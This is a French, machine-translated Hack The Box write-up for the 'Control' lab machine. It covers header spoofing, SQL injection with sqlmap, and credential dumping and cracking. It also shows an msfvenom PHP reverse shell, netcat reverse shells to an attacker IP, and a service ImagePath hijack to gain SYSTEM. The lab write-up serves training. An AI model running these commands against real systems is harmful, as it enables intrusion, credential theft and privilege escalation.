Hack The Box. ContrĂ´le de passage. Injection SQL et LPE via les droits de service

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .

Dans cet article, nous pénétrons le système par injection SQL, plongeons dans l'historique de la ligne de commande et augmentons nos privilèges grâce aux droits sur le service.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.167, que j'ajoute Ă  / etc / hosts.

10.10.10.167    control.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP Ă  partir de l'interface tun0 Ă  une vitesse de 1000 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.
nmap -A control.htb -p80,135,3306,49667,49666

image

L'hôte exécute un serveur Web. Voyons ce qu'il y a.

image

Et nous voyons qu'il y a un lien vers le panneau d'administration. Mais nous sommes informés qu'il n'y a pas d'en-tête et nous devons contacter via un proxy.

image

Dans le même temps, dans le code source de la page de démarrage, nous trouvons le message:

image

En comparant ce dont vous avez besoin pour utiliser le proxy et l'adresse trouvée, nous supposons que vous devez le parcourir. Le proxy est affiché dans le protocole HTTP dans l'en-tête x-forwarded-for. Exposons-le.

image

Et nous allons avec succès à la page d'administration. Passons par le navigateur.

image

Mais lorsque vous essayez de faire quelque chose, ils nous jettent sur une page avec un message proxy. En effet, nous ne remplaçons pas l'en-tête trouvé. Afin de ne pas le faire à chaque fois dans Burp Suite, dans l'onglet Proxy -> Options, nous trouvons la fonction «Match and Replace».

image

Et ajoutez une nouvelle entrée qui ajoutera automatiquement cet en-tête à toutes les demandes sortantes.

image

Et en testant le champ de recherche, nous trouvons l'injection SQL.

image

Pour le fonctionnement, nous utilisons sqlmap. Enregistrons cette demande dans un fichier (Copier dans un fichier) et exécutons sqlmap, en passant ce fichier comme paramètre.
sqlmap -r headers.req

image

Point d'entrée
Voyons quelles bases de données sont disponibles.
sqlmap -r headers.req --dbs

image

Voyons quelles informations d'identification sont disponibles. Voyons toutes les tables de la base de données mysql.
sqlmap -r headers.req -D mysql --tables

image

Nous nous intéressons donc à la table des utilisateurs. Obtenons les noms de toutes les colonnes.
sqlmap -r headers.req -D mysql -T user --columns

image

De toutes les colonnes, les plus intéressantes sont Utilisateur et Mot de passe. Nous apprenons ce qu'il y a en eux.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

image

La base de données contient plusieurs utilisateurs. Sqlmap propose de cracker les hachages. Nous sélectionnons une attaque par dictionnaire, indiquons que nous voulons utiliser notre dictionnaire et écrivons le chemin vers rockyou.

image

Après quelques secondes, nous recevrons un tableau avec les noms d'utilisateur et les hachages de leurs mots de passe. Si sqlmap a réussi à casser le mot de passe, il l'indiquera à côté du hachage entre parenthèses. Comme vous pouvez le voir, nous avons les informations d'identification de l'utilisateur hector.

image

Je n'ai pas pu obtenir le shell en utilisant sqlmap, mais en écrivant des fichiers. Posons le Web a marché. Tout d'abord, nous générons la charge de meterpreter au format PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


Maintenant, écrivez-le en utilisant sqlmap dans le répertoire du serveur Web.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

image

Le fichier a été écrit avec succès. Exécutez l'écouteur.

image

Et tournez-vous vers votre fichier sur le serveur Web.
curl http://control.htb/r.php


Dans la fenêtre Metasploit, nous observons une connexion réussie.

image

Accédez à cette session.

image

Mais voici le problème, nous ne pouvons pas exécuter de commandes via le shell. De plus, de telles tentatives réinitialisent la connexion. Essayons de contourner le verrou en créant un processus PowerShell en mode interactif (-i) caché à la vue (-H) et en passant notre commande en tant que paramètres (-a). Voyons sous quel utilisateur nous travaillons.

image

UTILISATEUR


Nous avons des informations d'identification Hector, nous verrons s'il y a un tel utilisateur dans le système.

image

Il y a un tel utilisateur! Mais d'abord, découvrez le nom de la voiture.

image

Nous avons un nom d'utilisateur, un mot de passe, un domaine et un nom de machine. Vérifions maintenant si les informations d'identification que nous avons reçues sont appropriées. Pour ce faire, exécutez «whoami» au nom d'Hector.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

image

Bien. Prenons la coquille. Exécutez le serveur Web sur l'hôte local.
python3 -m http.server 80


Et téléchargez sur l'hôte Netcat distant.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Ouvrez maintenant le port 5432. nc -lvp 5432 et effectuez la connexion inverse Ă  partir de l'hĂ´te distant.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Nous prenons donc l'utilisateur.

image

RACINE


De plus, lorsque nous essayons de télécharger l'un des moyens de collecter des informations de l'hôte vers l'hôte (tels que BloodHound , PowerUp , JAWS , WinPEAS ), nous remarquons que le défenseur les supprime. Mais WinPEAS a une version de chauve - souris qui ne peut pas être désinstallée. Nous le téléchargeons sur l'hôte et l'exécutons. De plus, il est seulement nécessaire d'examiner attentivement les informations collectées. Et nous trouvons un fichier intéressant ConsoleHost_history.txt.

image

Regardez ce qu'il contient.

image

Ces équipes sont la seule chose que nous avons. L'applet de commande Get-Acl récupère les objets qui représentent un descripteur de sécurité pour un fichier ou une ressource. Le descripteur de sécurité contient des listes de contrôle d'accès aux ressources (ACL). L'ACL contient les autorisations requises par les utilisateurs et les groupes d'utilisateurs pour accéder à la ressource. J'ai donc décidé que le chemin de la solution réside dans les services et leur accès. Obtenons-leur tous les services et autorisations d'Hector.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


En regardant Ă  travers la sortie, nous remarquons que Hector a tous les droits sur le service de mise Ă  jour Windows - wuauserv.

image

Les services du système d'exploitation Windows s'exécutent avec des privilèges système. Lors de l'enregistrement d'un service dans le système, le chemin d'accès au fichier exécutable du service est protégé dans l'attribut ImagePath. Modifions la valeur de cet attribut et chargeons le shell.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


DĂ©marrez maintenant le service de mise Ă  jour.
start-service wuauserv


Et nous obtenons un shell avec des privilèges maximum.

image

Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles